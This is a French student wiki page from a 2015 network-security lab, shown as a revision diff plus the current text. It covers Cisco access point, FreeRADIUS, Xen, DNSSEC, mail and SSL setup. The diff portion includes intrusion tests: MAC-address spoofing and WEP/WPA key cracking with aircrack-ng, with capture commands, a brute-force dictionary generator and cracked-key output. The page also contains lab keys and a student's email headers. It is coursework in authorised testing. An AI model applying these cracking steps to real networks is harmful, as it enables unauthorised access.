TP sysres IMA2a5 2015/2016 G3 : Différence entre versions

De Wiki de Projets IMA
 
(22 révisions intermédiaires par le même utilisateur non affichées)
Ligne 1 : Ligne 1 :
<h1>Projet Système & Réseaux  IMA2A S9 </h1>
 
 
<br />
 
<br />
<h2>Partie I - Configuration du point d’accès</h2>
+
Ce mini projet a pour but de nous donner des notion en sécurité informatique.
  
<h4>a) Restriction par adresse MAC </h4>
+
 
 +
<h1>Configuration du point d’accès</h1>
 +
 
 +
<h2>Restriction par adresse MAC </h2>
  
 
Ci-dessous, le tableau regroupant Les adresses et Vlan associés aux élèves :
 
Ci-dessous, le tableau regroupant Les adresses et Vlan associés aux élèves :
Ligne 41 : Ligne 43 :
  
  
<h5>   1) Configuration du point d’accès Cisco </h5>
+
<h3>Configuration du point d’accès Cisco </h3>
 
Conexion a la borne Cisco :
 
Conexion a la borne Cisco :
 
-Branchement en comunication serie sur le port RJ45 (Console de la Cisco).
 
-Branchement en comunication serie sur le port RJ45 (Console de la Cisco).
Ligne 90 : Ligne 92 :
 
</pre>
 
</pre>
  
<h5>   1) Configuration du Wifi sur l'eeePC </h5>
+
<h3>Configuration du Wifi sur l'eeePC</h3>
 +
Cette partie me sert a valider le bon fonctionnement de mon point d’accès.
 +
Je l'a réutiliserais dans la partie d'intrusion par adresse MAC.
  
 
Configuration:
 
Configuration:
Ligne 142 : Ligne 146 :
 
</pre>
 
</pre>
  
 +
<h2>Sécurisation Wifi par WPA2-EAP</h2>
  
 +
<h3>Configuration du point d’accès</h3>
 +
On commence par remettre le point d’accès en configuration d'usine
 +
<pre>
 +
ap#erase startup-config
 +
ap#reload
 +
</pre>
  
<h2>Partie II - Installation de ma machine virtuel </h2>
+
Configuration:
 +
<pre>
 +
ap(config)#line vty 0 15
 +
ap(config-line)#password ****
 +
 
 +
ap(config)#ip default-gateway 172.20.99.254
 +
 
 +
ap(config)#interface bvi 1
 +
ap(config-if)#ip ad 172.20.99.6 255.255.255.0
 +
</pre>
  
 +
<h3>Configuration de la machine virtuel</h3>
 +
 +
On installe freeradius:
 +
<pre>
 +
# apt-get install FreeRadius
 +
</pre>
 +
 +
On configure la conexion:
 +
<pre>
 +
# nano eap.conf
 +
// on remplace
 +
default_eap_type = md5
 +
// par
 +
default_eap_type = peap
 +
 +
# nano clients.conf
 +
client 172.20.99.0/24 {
 +
        secret          = topsecret
 +
        shortname      = wifi
 +
 +
# nano users
 +
john    Cleartext-Password := "****"
 +
 +
# service freeradius restart
 +
</pre>
 +
 +
<pre>
 +
 +
telnet 172.20.99.5
 +
 +
aaa authentication login eap_chien group radius_chien
 +
radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key secret_chien
 +
aaa group server radius radius_chien
 +
server 193.48.57.181 auth-port 1812 acct-port 1813
 +
 +
dot11 ssid SSID_Chien
 +
  vlan 6
 +
  authentication open eap eap_chien
 +
  authentication network-eap eap_chien
 +
  authentication key-management wpa
 +
  mbssid guest-mode
 +
 +
ssid SSID_Chien
 +
int dot11Radio 0.6
 +
  encryption vlan 6 mode ciphers aes-ccm tkip
 +
  encapsulation dot1Q 6
 +
  bridge-group 6
 +
 +
exit     
 +
int gig0.6
 +
</pre>
 +
 +
 +
 +
<h3>Configuration du eeePc</h3>
 +
 +
 +
 +
 +
<h1>Installation des systèmes d'exploitation </h1>
 +
Dans ce chapitre je vais installer deux système d'exploitation , Il s'agit de Debian 8.
 +
Dans un premier temps j’installerais une machine virtuel Xen sur la cordouan, le but étant par la suite de réaliser un serveur web sécurisé.
 +
Dans une seconde partie j’installerais Debian 8 sur un des nouveau pc HP que nous avons reçut, nous nous en serviront pour la partie des tests d'intrusions.
 +
 
 +
<h2>Installation de la machine virtuel</h2>
 +
Cette partie concerne l’installation du machine virtuel Xen.
 +
Nous installons Xen car celui-ci permet de faire de la  paravirtualisation.
 +
Nous en avons besoins pour que chacun puisse installer son propre système d'exploitation et qu'ils soit utilisable en même temps
 +
 +
Les étapes a suivre pour l’installation de Xen sur cordouan:
 
<pre>
 
<pre>
 
// Conexion au serveur  
 
// Conexion au serveur  
Ligne 171 : Ligne 261 :
 
</pre>
 
</pre>
  
 +
Configuration de Xen:
 +
- On autorise les connexion ssh en root
 +
- On retire Network Manger pour configurer la connexion au réseau manuellement
 
<pre>
 
<pre>
/etc/ssh/sshd_config
+
# /etc/ssh/sshd_config
PermitRootLogin yes
+
# PermitRootLogin yes
  
if down eth0  
+
# if down eth0  
ifup etho
+
# ifup etho
apt-get purge network-manage systemd  
+
# apt-get purge network-manage systemd  
/etc/inittable
+
# inittable
 
// fin ligne tty0 ==> hvc0
 
// fin ligne tty0 ==> hvc0
 
</pre>
 
</pre>
Ligne 193 : Ligne 286 :
 
root@chien:~# ifdown eth0  
 
root@chien:~# ifdown eth0  
 
root@chien:~# ifup eth0
 
root@chien:~# ifup eth0
 +
 +
 +
root@chien:~# apt-get install vim strace tcpdump
 +
root@chien:~# apt-get install host
 
</pre>
 
</pre>
  
Serveur DNS
+
 
 +
 
 +
<h1>Services Internet </h1>
 +
 
 +
<h2>Serveur DNS</h2>
 
modification du fichier /var/cache/bind option
 
modification du fichier /var/cache/bind option
 
<pre>
 
<pre>
nano /etc/bind/named.conf.options  
+
cat /etc/bind/named.conf.options  
 +
**** afficher le fichier ****
 +
 
 +
host -t ni love-in-the-world.space
 +
host -t any love-in-the-world.space
 +
 
 +
cat db.love-in-the-world
 +
**** afficher le fichier ****
 +
 
 +
cat /var/log/daemon.log
 +
**** afficher le fichier ****
 +
 
 +
# service bind9 stop
 +
# service bind9 start
 +
</pre>
 +
 
 +
 
 +
Géneration d'une clés assymetrique:
 +
<pre>
 +
# dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE love-in-the-world.space
 +
Generating key pair...........+++ ....................+++
 +
Klove-in-the-world.space.+005+14281
 +
# mv Klove-in-the-world.space.+005+14281.key  love-in-the-world-ksk.key
 +
# mv Klove-in-the-world.space.+005+14281.private  love-in-the-world-ksk.private
 +
 
 +
# dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE love-in-the-world.space
 +
Generating key pair........++++++ .....................++++++
 +
Klove-in-the-world.space.+005+37866
 +
# mv Klove-in-the-world.space.+005+37866.key  love-in-the-world-zsk.key
 +
# mv Klove-in-the-world.space.+005+37866.private  love-in-the-world-zsk.private
 +
 
 +
# dnssec-signzone -o love-in-the-world.space -k love-in-the-world-ksk ../db.love-in-the-world love-in-the-world-zsk
 +
Verifying the zone using the following algorithms: RSASHA1.
 +
Zone fully signed:
 +
Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked
 +
                    ZSKs: 1 active, 0 stand-by, 0 revoked
 +
../db.love-in-the-world.signed
 +
root@chien:/etc/bind/love-in-the-world#
 +
 
 +
:/etc/bind# nano named.conf.local
 +
zone "love-in-the-world.space"{
 +
 
 +
        type master;
 +
        file "/etc/bind/db.love-in-the-world.signed";
 +
};
 +
</pre>
 +
 
 +
 
 +
ensuite on copie le contenu du fichier:
 +
dans gandi.net
 +
 
 +
 
 +
on peut verifier que notre dns est secure a l'adresse suivante:
 +
http://dnsviz.net/d/love-in-the-world.space/dnssec/
 +
 
  
 +
<h2>Recuperation du certificat SSL</h2>
 +
Cette étape consiste a récupérer le certificat SSL en vu authentifier et de sécuriser la connexion a notre serveur
  
 +
Instalation et Configuration de la boite Mail
 +
<pre>
 +
# apt-get install postfix bsd-mailx
 +
</pre>
  
  59  apt-get install vim strace tcpdump
+
configuration de la boite mail
  60  apt-get install host
+
<pre>
  61 host -t ni love-in-the-world.space
+
  # nano /etc/aliases
  62  host -t any love-in-the-world.space
+
   postmaster:   root
  68  vim named.conf.options
+
   admin: root
   69  cp db.local db.love-in-the-world
+
   
   70  cat named.conf.default-zones
+
  # newaliases
  71  vim named.conf.local
+
  # mailx
  73  vim db.love-in-the-world
 
   service bind9 stop
 
  76 service bind9 start
 
  77 cat /var/log/daemon.log
 
  78 vim db.love-in-the-world
 
  service bind9 stop
 
  vim db.love-in-the-world
 
  service bind9 start
 
  cat /var/log/daemon.log
 
  cat /var/log/daemon.log
 
 
</pre>
 
</pre>
  
<h2>Partie III - Installation de Debian sur les nouvelles machines </h2>
+
Je m'envoi un mail pour verifier le bon fonctionement de la boite mail
 +
E-mail: admin@love-in-the-world.space
 +
 
 +
Verfification:
 +
<pre>
 +
# mailx
 +
From Maxime.Strunc@polytech-lille.net  Fri Nov 20 13:22:24 2015
 +
Return-Path: <Maxime.Strunc@polytech-lille.net>
 +
X-Original-To: admin@love-in-the-world.space
 +
Delivered-To: admin@love-in-the-world.space
 +
Received: from peronne.escaut.net (peronne.escaut.net [193.48.57.26])
 +
by chien (Postfix) with ESMTP id E7DA93421F
 +
for <admin@love-in-the-world.space>; Fri, 20 Nov 2015 13:22:24 +0100 (CET)
 +
X-Virus-Scanned: Debian amavisd-new at polytech-lille.fr
 +
X-Virus-Scanned: Debian amavisd-new at polytech-lille.fr
 +
Received: from webmailportal.polytech-lille.fr (hirson.escaut.net [193.48.57.37])
 +
(Authenticated sender: mstrunc)
 +
by peronne.escaut.net (Postfix) with ESMTPA id 305081C38
 +
for <admin@love-in-the-world.space>; Fri, 20 Nov 2015 11:33:52 +0100 (CET)
 +
MIME-Version: 1.0
 +
Content-Type: text/plain; charset=UTF-8;
 +
format=flowed
 +
Content-Transfer-Encoding: 7bit
 +
Date: Fri, 20 Nov 2015 11:33:52 +0100
 +
From: Maxime Strunc <Maxime.Strunc@polytech-lille.net>
 +
To: <admin@love-in-the-world.space>
 +
Subject: Hello
 +
Message-ID: <478f6b7d2da9875c32551984f2b92f9f@polytech-lille.net>
 +
X-Sender: Maxime.Strunc@polytech-lille.net
 +
User-Agent: Roundcube Webmail/0.7.2
 +
Status: RO
  
 +
Hey it's working
 +
</pre>
 +
 +
- Recupération du Certificat:
 +
Je vais sur Gandi.net
  
<h2>Partie IV - Cassage d'une cles Wifi </h2>
+
génération de la CSR
<h4>a) Préparation </h4>
+
<pre>
 +
#  openssl req -nodes -newkey rsa:2048 -sha256 -keyout chien.key -out chien.csr
 +
// Il ya plusieurs informations à rentrer, il y en a une très important : c'et le mail :
 +
admin@love-in-the-world.space
 +
</pre>
 +
apres avoir renseigner tout les champs,
 +
j'obtient la CSR:
 +
<pre>
 +
-----BEGIN CERTIFICATE REQUEST-----
 +
      ... texte crypter...
 +
-----END CERTIFICATE REQUEST-----
 +
</pre>
 +
Je la copie dans l'emplacement voulue sur gandi.net
 +
 
 +
Gandi m'envoi un mail a l'adresse informée "admin@love-in-the-world.space"
 +
Il faut donc clique sur un lien de confimation et entrer la cles fournit dans le mail.
 +
Une fois le certificat reçut, Je le copie et le colle dans le chien.crt et gandi.crt
 +
 
 +
<pre>
 +
#nano 000-domain.tld-ssl.conf
 +
    <VirtualHost 193.48.57.181:443>
 +
 
 +
        ServerName www.love-in-the-world.space
 +
        ServerAlias love-in-the-world.space
 +
        DocumentRoot /var/www/html/
 +
        CustomLog /var/log/apache2/secure_access.log combined
 +
 
 +
        SSLEngine on
 +
        SSLCertificateFile /root/chien.crt
 +
        SSLCertificateKeyFile /root/chien.key
 +
        SSLCertificateChainFile /root/gandi.crt
 +
        SSLVerifyClient None
 +
 
 +
  </VirtualHost>
 +
 
 +
#a2enmod ssl
 +
#service apache2 reload
 +
</pre>
 +
 
 +
<h1>Test d'intrusion </h1>
 +
 
 +
<h2>Intrusion par changement d'adresse MAC</h2>
 +
 
 +
En remplacant l'adresse mac de mon eeepc par une adresses MAC que le point d’accès T1 autorise je pourrais me connecter sur celui-ci. 
 +
 
 +
Changement d'adresse MAC:
 +
<pre>
 +
- ifconfig wlan0 down
 +
- ifconfig wlan0 hw ether 00:15:AF:E6:ED:B1  //adresse mac de Gauthier
 +
- ifconfig wlan0 up
 +
</pre>
 +
 
 +
On change la cles par: 0000000000
 +
et le SSID : T1
 +
<pre>
 +
# cat /etc/network/interfaces
 +
# source /etc/network/interfaces.d/*
 +
 
 +
# The loopback network interface
 +
# auto lo
 +
# iface lo inet loopback
 +
 
 +
Ethernet interface
 +
auto eth0
 +
iface eth0 inet static
 +
  address 172.26.79.241
 +
  netmask 255.255.240.0
 +
  gateway 172.26.79.254
 +
 
 +
auto wlan0
 +
iface wlan0 inet static
 +
wireless-mode managed
 +
wireless-essid T1
 +
wireless-key 0000000000
 +
address 172.26.79.61
 +
netmask 255.255.240.0
 +
gateway 172.26.79.254
 +
 
 +
</pre>
 +
Apres cette modification J'arrive a me connecter sur le point d’accès de Marouane(T1).
 +
 
 +
<h2>Préparation aux cassage de clés</h2>
 
- Instalation aircrack-ng
 
- Instalation aircrack-ng
 
<pre>
 
<pre>
apt-get install aircrack-ng firmware ralink
+
# apt-get install aircrack-ng firmware ralink
 
</pre>
 
</pre>
  
Ligne 238 : Ligne 505 :
 
</pre>
 
</pre>
  
<h4>b) Cassage d'une cles WEP </h4>
+
<h2>Cassage d'une cles WEP </h2>
  
 
Je scan le reseaux Wifi:  
 
Je scan le reseaux Wifi:  
Ligne 247 : Ligne 514 :
 
J’identifie le ssid de cracotte06 et je met les donnée  dans un fichier nommé fcracotte06
 
J’identifie le ssid de cracotte06 et je met les donnée  dans un fichier nommé fcracotte06
 
<pre>
 
<pre>
airodump-ng mon0 --channel 5 --bssid 04:DA:D2:9C:50:55 -w fcracotte06
+
 
 +

root@Discus:/home/pifou# airodump-ng mon0 --channel 5 --bssid 04:DA:D2:9C:50:55 -w
 +
fcracotte06
 +
 
 +
CH 5 ][ Elapsed: 0 s ][ 2015-11-20 09:05
 +
 
 +
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
 +
 
 +
04:DA:D2:9C:50:55 -55 28 29 420 116 5 54e. WEP WEP cracotte06
 +
 
 +
BSSID STATION PWR Rate Lost Frames Probe
 +
 
 +
04:DA:D2:9C:50:55 00:0F:B5:92:23:74 -48 36e-54e 80 456
 
</pre>
 
</pre>
 
La capture a donc commencé  
 
La capture a donc commencé  
Ligne 254 : Ligne 533 :
 
Je vais analyser mon fichier de capture pour casser la cles.
 
Je vais analyser mon fichier de capture pour casser la cles.
 
<pre>
 
<pre>
ls
+
# ls
aircrack-ng fcracotte06-01.cap
+
# aircrack-ng fcracotte06-01.cap
 
</pre>
 
</pre>
 
apres quelque minutes on obtient la cles  
 
apres quelque minutes on obtient la cles  
 
<pre>
 
<pre>
KEY FOUND! [ AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:BB:BB:BB ]
+
                [00:06:58] Tested 965565 keys (got 60459 IVs)
Decrypted correctly: 100%
+
 
 +
  KB    depth  byte(vote)
 +
    0    0/  1  AA(85504) EA(73728) 60(70144) 0C(69120) 33(68608)
 +
    1    0/  1  AA(77824) 25(74496) BC(70400) 6C(70144) 3B(69632)
 +
    2    0/  1  AA(79872) 3E(70912) 76(70400) 5C(70144) 01(68864)
 +
    3    4/  5  AA(71680) FA(68608) 41(68352) 38(68096) 49(68096)
 +
    4    0/  1  AA(86016) A1(70912) 80(69632) 2A(68352) 65(68352)
 +
    5    0/  1  AA(85760) AF(73216) C6(71424) 5A(71168) 25(70400)
 +
    6    0/  1  AA(75520) 26(70400) CB(70400) 46(69888) 1C(69632)
 +
    7    0/  1  AA(83968) 18(71680) 4C(71424) 74(70144) 1E(69632)
 +
    8    0/  1  AA(82176) 6F(70912) F7(70144) FB(69632) 17(68864)
 +
    9    0/  3  D7(73216) 97(71168) A4(70400) BA(70144) FE(69632)
 +
  10    0/  1  5F(78336) D6(72960) 46(71424) CB(68608) 8D(68352)
 +
  11  13/  1  48(67072) 60(67072) F6(66816) AC(66560) 2B(66048)
 +
  12    0/  1  BB(79580) A7(71096) 8B(69960) 13(69196) 68(68424)
 +
 
 +
            KEY FOUND! [ AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:BB:BB:BB ]  
 +
Decrypted correctly: 100%
 
</pre>
 
</pre>
  
<h4>c) Cassage d'une cles WPA</h4>
+
<h2>Cassage d'une cles WPA</h2>
 +
Cette partie consiste a casser une clés WPA par force brute.
 +
Je m'interesse plus particulierement a caracotte06 comme précédament.
 +
 +
Je vais dans une premier temps ecouter ce qui a sur ce réseau on suppose que quelle qu'un se connecte dessus régulièrement, le but étant de récupérer le handshake. 
 +
 
 +
Recuperation du Handshake:
 
<pre>
 
<pre>
 
airodump-ng --encrypt wpa mon0
 
airodump-ng --encrypt wpa mon0
 +
 +
# airodump-ng --encrypt wpa mon0 -c 7 --bssid 04:DA:D2:9C:50:55 -w wpacracotte06
 +
 +
CH 7 ][ Elapsed: 26 mins ][ 2015-11-20 10:40 ][ WPA handshake: 04:DA:D2:9C:50:55
 +
 +
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
 +
 +
04:DA:D2:9C:50:55 -70 22 9735 1905 18 7 54e. WPA2 CCMP PSK cracotte06
 +
 +
BSSID STATION PWR Rate Lost Frames Probe
 +
 +
04:DA:D2:9C:50:55 00:0F:B5:92:23:74 -70 54e- 1e 904 1249

 
</pre>
 
</pre>
  
- creation d'un dictionaire :
+
 
code C:
+
creation d'un dictionaire :
 +
Je Créer un dictionaire pour comparer le handshake que j'ai recuperer avec des cles possible.
 +
la cles etant comprise entre 00000000 et 99999999 je réalise un petit programme qui affiche toutes ces valeurs:  
 
<pre>
 
<pre>
 
#include <stdio.h>
 
#include <stdio.h>
Ligne 282 : Ligne 598 :
 
Compilation :
 
Compilation :
 
</pre>
 
</pre>
gcc -Wall Dictionnaire.c -o Dictionnaire
+
# gcc -Wall Dictionnaire.c -o Dictionnaire
 
</pre>
 
</pre>
  
 
Création :
 
Création :
 
On exécute le programme Dictionnaire et on renvoi les résultats dans le fichier Dico
 
On exécute le programme Dictionnaire et on renvoi les résultats dans le fichier Dico
 +
<pre>
 +
# ./Dictionnaire > Dico
 
</pre>
 
</pre>
./Dictionnaire > Dico
+
 
 +
 
 +
 
 +
Cassage de la cles:
 +
après avoir récuperer le Handshake du Wifi carotte06
 +
Je vais casser la clés en utilisant mon dictionnaire "Dico" le fichier "wpacracotte06-02.cap"
 +
<pre>
 +
aircrack-ng -w Dico wpacracotte06-02.cap
 
</pre>
 
</pre>
  
 +
après quelle que heures j'obtiens la clès:
 +
<pre>
 +
                                Aircrack-ng 1.2 beta3
 +
 +
 +
                  [02:00:57] 12399908 keys tested (1782.72 k/s)
 +
 +
 +
                          KEY FOUND! [ 12399906 ]
 +
 +
 +
      Master Key    : 4B 0E E0 87 93 06 14 C0 E2 64 55 76 95 9A 30 6B
 +
                      75 7C 8F CC B4 F8 2B 0D 78 3A 57 04 79 C2 F9 72
 +
 +
      Transient Key  : 63 0F 9B D4 8B 09 C9 2C D5 E2 56 3D C7 21 AC 9E
 +
                      94 5C E6 F7 19 FB EA 52 3F 02 C4 10 72 4F B8 7E
 +
                      F1 92 CC 2C 02 E1 F7 47 C1 1D F2 FD CE EF F5 5E
 +
                      22 24 87 42 46 4F D6 38 DF D4 CC 6D 61 4E 1D 7E
 +
 +
      EAPOL HMAC    : A3 D3 FD F5 09 AC B9 96 F5 0E 93 0A 3C 63 36 CD
 +
</pre>
  
  
 +
  
 
mettre serveur messagerie  
 
mettre serveur messagerie  

Version actuelle datée du 27 novembre 2015 à 15:01


Ce mini projet a pour but de nous donner des notion en sécurité informatique.


Configuration du point d’accès

Restriction par adresse MAC

Ci-dessous, le tableau regroupant Les adresses et Vlan associés aux élèves :

Nomadresse MAC
Nounours00:15:af:e7::19:f3
Jeuno00:15:af:e6:ed:b1
John00:22:43:43:e7:7d
Loki00:15:af:e7:64:03

On récupère les adresses mac comme ci dessous.

pifou@heron:~$ su
Mot de passe : 
root@heron:/home/pifou# ifconfig 
lo        Link encap:Boucle locale  
          inet adr:127.0.0.1  Masque:255.0.0.0
          adr inet6: ::1/128 Scope:Hôte
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:2348 errors:0 dropped:0 overruns:0 frame:0
          TX packets:2348 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 lg file transmission:0 
          RX bytes:244556 (238.8 KiB)  TX bytes:244556 (238.8 KiB)

wlan0     Link encap:Ethernet  HWaddr 00:22:43:43:e7:7d  
          inet adr:172.26.79.61  Bcast:172.26.79.255  Masque:255.255.240.0
          adr inet6: fe80::222:43ff:fe43:e77d/64 Scope:Lien
          adr inet6: 2001:660:4401:6006:222:43ff:fe43:e77d/64 Scope:Global
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:12046 errors:0 dropped:1471 overruns:0 frame:0
          TX packets:9787 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 lg file transmission:1000 
          RX bytes:7742849 (7.3 MiB)  TX bytes:1442360 (1.3 MiB)


Configuration du point d’accès Cisco

Conexion a la borne Cisco : -Branchement en comunication serie sur le port RJ45 (Console de la Cisco).

pifou@zabeth04:~$ su
pifou@zabeth04:~$ minicom

// conexion au point Cisco 
ap#enable
ap#Config t 

Il faut autoriser les adresses mac désignés à ce connecter aux point d’accès et refuser l’accès des autres

ap(config)#no access-list 701 deny  0000.0000.0000 ffff.ffff.ffff               
ap(config)#access-list 701 permit  0015.afe7.6403  0000.0000.0000               
ap(config)#access-list 701 permit  0015.afe6.edb1  0000.0000.0000 
ap(config)#access-list 701 permit  0015.afe7.19f3  0000.0000.0000
ap(config)#access-list 701 permit  0015.afe6.edb1  0000.0000.0000 
ap(config)#access-list 701 deny    0000.0000.0000  ffff.ffff.ffff 


Configuration du SSID

ap(config)#dot11 ssid T2
ap(config-ssid)#dot11 ssid T2 
ap(config-ssid)#authentication open
ap(config-ssid)#guest-mode 
ap(config)#interface dot11Radio0 

ap(config-if)#ssid T2
ap(config-if)#encryption key 1
ap(config-if)#encryption key 1 size 40bit 0 01abcd1532 transmit-key
ap(config-if)#encryption mode Wep mandatory 
end

ap(config)#interface Dot11Radio0
ap(config-if)#no shutdown

Pour voir si des machines sont connecté sur le point d’accès </pre> sh do11 associations </pre>

Configuration du Wifi sur l'eeePC

Cette partie me sert a valider le bon fonctionnement de mon point d’accès. Je l'a réutiliserais dans la partie d'intrusion par adresse MAC.

Configuration:

root@heron:/home/pifou# cat /etc/network/interfaces
source /etc/network/interfaces.d/*

# The loopback network interface
auto lo
iface lo inet loopback

# Ethernet interface
#auto eth0
#iface eth0 inet static
#  address 172.26.79.241
#  netmask 255.255.240.0
#  gateway 172.26.79.254

auto wlan0
iface wlan0 inet static
	wireless-mode managed
	wireless-essid T2
	wireless-key 1111111111
	address 172.26.79.61
	netmask 255.255.240.0
	gateway 172.26.79.254

conexion au PA

ifup wlan0
iwconfig wlan0 essid T2

on est bien connecté :

wlan0     IEEE 802.11bgn  ESSID:"T2"  
          Mode:Managed  Frequency:2.447 GHz  Access Point: C4:14:3C:12:EA:00   
          Bit Rate=54 Mb/s   Tx-Power=20 dBm   
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Encryption key:1111-1111-11
          Power Management:off
          Link Quality=70/70  Signal level=-38 dBm  
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:4104   Missed beacon:0

lo        no wireless extensions.

eth0      no wireless extensions.

Sécurisation Wifi par WPA2-EAP

Configuration du point d’accès

On commence par remettre le point d’accès en configuration d'usine

ap#erase startup-config
ap#reload

Configuration:

ap(config)#line vty 0 15 
ap(config-line)#password ****

ap(config)#ip default-gateway 172.20.99.254

ap(config)#interface bvi 1 
ap(config-if)#ip ad 172.20.99.6 255.255.255.0 

Configuration de la machine virtuel

On installe freeradius:

# apt-get install FreeRadius

On configure la conexion:

# nano eap.conf
// on remplace 
default_eap_type = md5
// par
default_eap_type = peap

# nano clients.conf 
client 172.20.99.0/24 {
        secret          = topsecret
        shortname       = wifi

# nano users 
john    Cleartext-Password := "****"

# service freeradius restart

telnet 172.20.99.5

aaa authentication login eap_chien group radius_chien
radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key secret_chien
aaa group server radius radius_chien
server 193.48.57.181 auth-port 1812 acct-port 1813

dot11 ssid SSID_Chien
  vlan 6
  authentication open eap eap_chien
  authentication network-eap eap_chien
  authentication key-management wpa
  mbssid guest-mode

ssid SSID_Chien
int dot11Radio 0.6
  encryption vlan 6 mode ciphers aes-ccm tkip
  encapsulation dot1Q 6
  bridge-group 6

exit       
int gig0.6


Configuration du eeePc



Installation des systèmes d'exploitation

Dans ce chapitre je vais installer deux système d'exploitation , Il s'agit de Debian 8. Dans un premier temps j’installerais une machine virtuel Xen sur la cordouan, le but étant par la suite de réaliser un serveur web sécurisé. Dans une seconde partie j’installerais Debian 8 sur un des nouveau pc HP que nous avons reçut, nous nous en serviront pour la partie des tests d'intrusions.

Installation de la machine virtuel

Cette partie concerne l’installation du machine virtuel Xen. Nous installons Xen car celui-ci permet de faire de la paravirtualisation. Nous en avons besoins pour que chacun puisse installer son propre système d'exploitation et qu'ils soit utilisable en même temps

Les étapes a suivre pour l’installation de Xen sur cordouan:

// Conexion au serveur 
ssh root@cordouan.insecserv.deule.net

// Création de la Machine virtuel ( nom : chien)
xen-create-image --hostname chien --ip 193.48.57.181 --dir /usr/local/xen

// On observe la virtualisation
tail -f /var/log/xen-tools/chien.log

root@cordouan:~# cd /etc/xen/
root@cordouan:/etc/xen# vim chien.cfg 
// on met plus de memoire  => 1024
// conexion en mode bridge=IMA2a

root@cordouan:/etc/xen# xl list
root@cordouan:/etc/xen# xl create chien.cfg

connexion à notre MV:

ssh root@cordouan.insecserv.deule.net
root@cordouan:/etc/xen# xl console chien

Configuration de Xen: - On autorise les connexion ssh en root - On retire Network Manger pour configurer la connexion au réseau manuellement

# /etc/ssh/sshd_config
# PermitRootLogin yes

# if down eth0 
# ifup etho
# apt-get purge network-manage systemd 
# inittable
// fin ligne tty0 ==> hvc0
// Configuration de eth0
# The primary network interface
auto eth0
iface eth0 inet static
 address 193.48.57.181
 netmask 255.255.255.240
 gatway 193.48.57.190

root@chien:~# ifdown eth0 
root@chien:~# ifup eth0


root@chien:~# apt-get install vim strace tcpdump 
root@chien:~# apt-get install host


Services Internet

Serveur DNS

modification du fichier /var/cache/bind option

cat /etc/bind/named.conf.options 
**** afficher le fichier ****

host -t ni love-in-the-world.space
host -t any love-in-the-world.space

cat db.love-in-the-world 
**** afficher le fichier ****

cat /var/log/daemon.log
**** afficher le fichier ****

# service bind9 stop
# service bind9 start


Géneration d'une clés assymetrique:

# dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE love-in-the-world.space
Generating key pair...........+++ ....................+++ 
Klove-in-the-world.space.+005+14281
# mv Klove-in-the-world.space.+005+14281.key  love-in-the-world-ksk.key
# mv Klove-in-the-world.space.+005+14281.private  love-in-the-world-ksk.private

# dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE love-in-the-world.space
Generating key pair........++++++ .....................++++++ 
Klove-in-the-world.space.+005+37866
# mv Klove-in-the-world.space.+005+37866.key  love-in-the-world-zsk.key
# mv Klove-in-the-world.space.+005+37866.private  love-in-the-world-zsk.private

# dnssec-signzone -o love-in-the-world.space -k love-in-the-world-ksk ../db.love-in-the-world love-in-the-world-zsk
Verifying the zone using the following algorithms: RSASHA1.
Zone fully signed:
Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked
                    ZSKs: 1 active, 0 stand-by, 0 revoked
../db.love-in-the-world.signed
root@chien:/etc/bind/love-in-the-world# 

:/etc/bind# nano named.conf.local 
zone "love-in-the-world.space"{

        type master;
        file "/etc/bind/db.love-in-the-world.signed";
};


ensuite on copie le contenu du fichier: dans gandi.net


on peut verifier que notre dns est secure a l'adresse suivante: http://dnsviz.net/d/love-in-the-world.space/dnssec/


Recuperation du certificat SSL

Cette étape consiste a récupérer le certificat SSL en vu authentifier et de sécuriser la connexion a notre serveur

Instalation et Configuration de la boite Mail

# apt-get install postfix bsd-mailx

configuration de la boite mail

 # nano /etc/aliases
   postmaster:    root
   admin: root
 
 # newaliases
 # mailx

Je m'envoi un mail pour verifier le bon fonctionement de la boite mail E-mail: admin@love-in-the-world.space

Verfification:

# mailx
From Maxime.Strunc@polytech-lille.net  Fri Nov 20 13:22:24 2015
Return-Path: <Maxime.Strunc@polytech-lille.net>
X-Original-To: admin@love-in-the-world.space
Delivered-To: admin@love-in-the-world.space
Received: from peronne.escaut.net (peronne.escaut.net [193.48.57.26])
	by chien (Postfix) with ESMTP id E7DA93421F
	for <admin@love-in-the-world.space>; Fri, 20 Nov 2015 13:22:24 +0100 (CET)
X-Virus-Scanned: Debian amavisd-new at polytech-lille.fr
X-Virus-Scanned: Debian amavisd-new at polytech-lille.fr
Received: from webmailportal.polytech-lille.fr (hirson.escaut.net [193.48.57.37])
	(Authenticated sender: mstrunc)
	by peronne.escaut.net (Postfix) with ESMTPA id 305081C38
	for <admin@love-in-the-world.space>; Fri, 20 Nov 2015 11:33:52 +0100 (CET)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8;
 format=flowed
Content-Transfer-Encoding: 7bit
Date: Fri, 20 Nov 2015 11:33:52 +0100
From: Maxime Strunc <Maxime.Strunc@polytech-lille.net>
To: <admin@love-in-the-world.space>
Subject: Hello
Message-ID: <478f6b7d2da9875c32551984f2b92f9f@polytech-lille.net>
X-Sender: Maxime.Strunc@polytech-lille.net
User-Agent: Roundcube Webmail/0.7.2
Status: RO

Hey it's working

- Recupération du Certificat: Je vais sur Gandi.net

génération de la CSR

#   openssl req -nodes -newkey rsa:2048 -sha256 -keyout chien.key -out chien.csr
// Il ya plusieurs informations à rentrer, il y en a une très important : c'et le mail : 
admin@love-in-the-world.space

apres avoir renseigner tout les champs, j'obtient la CSR:

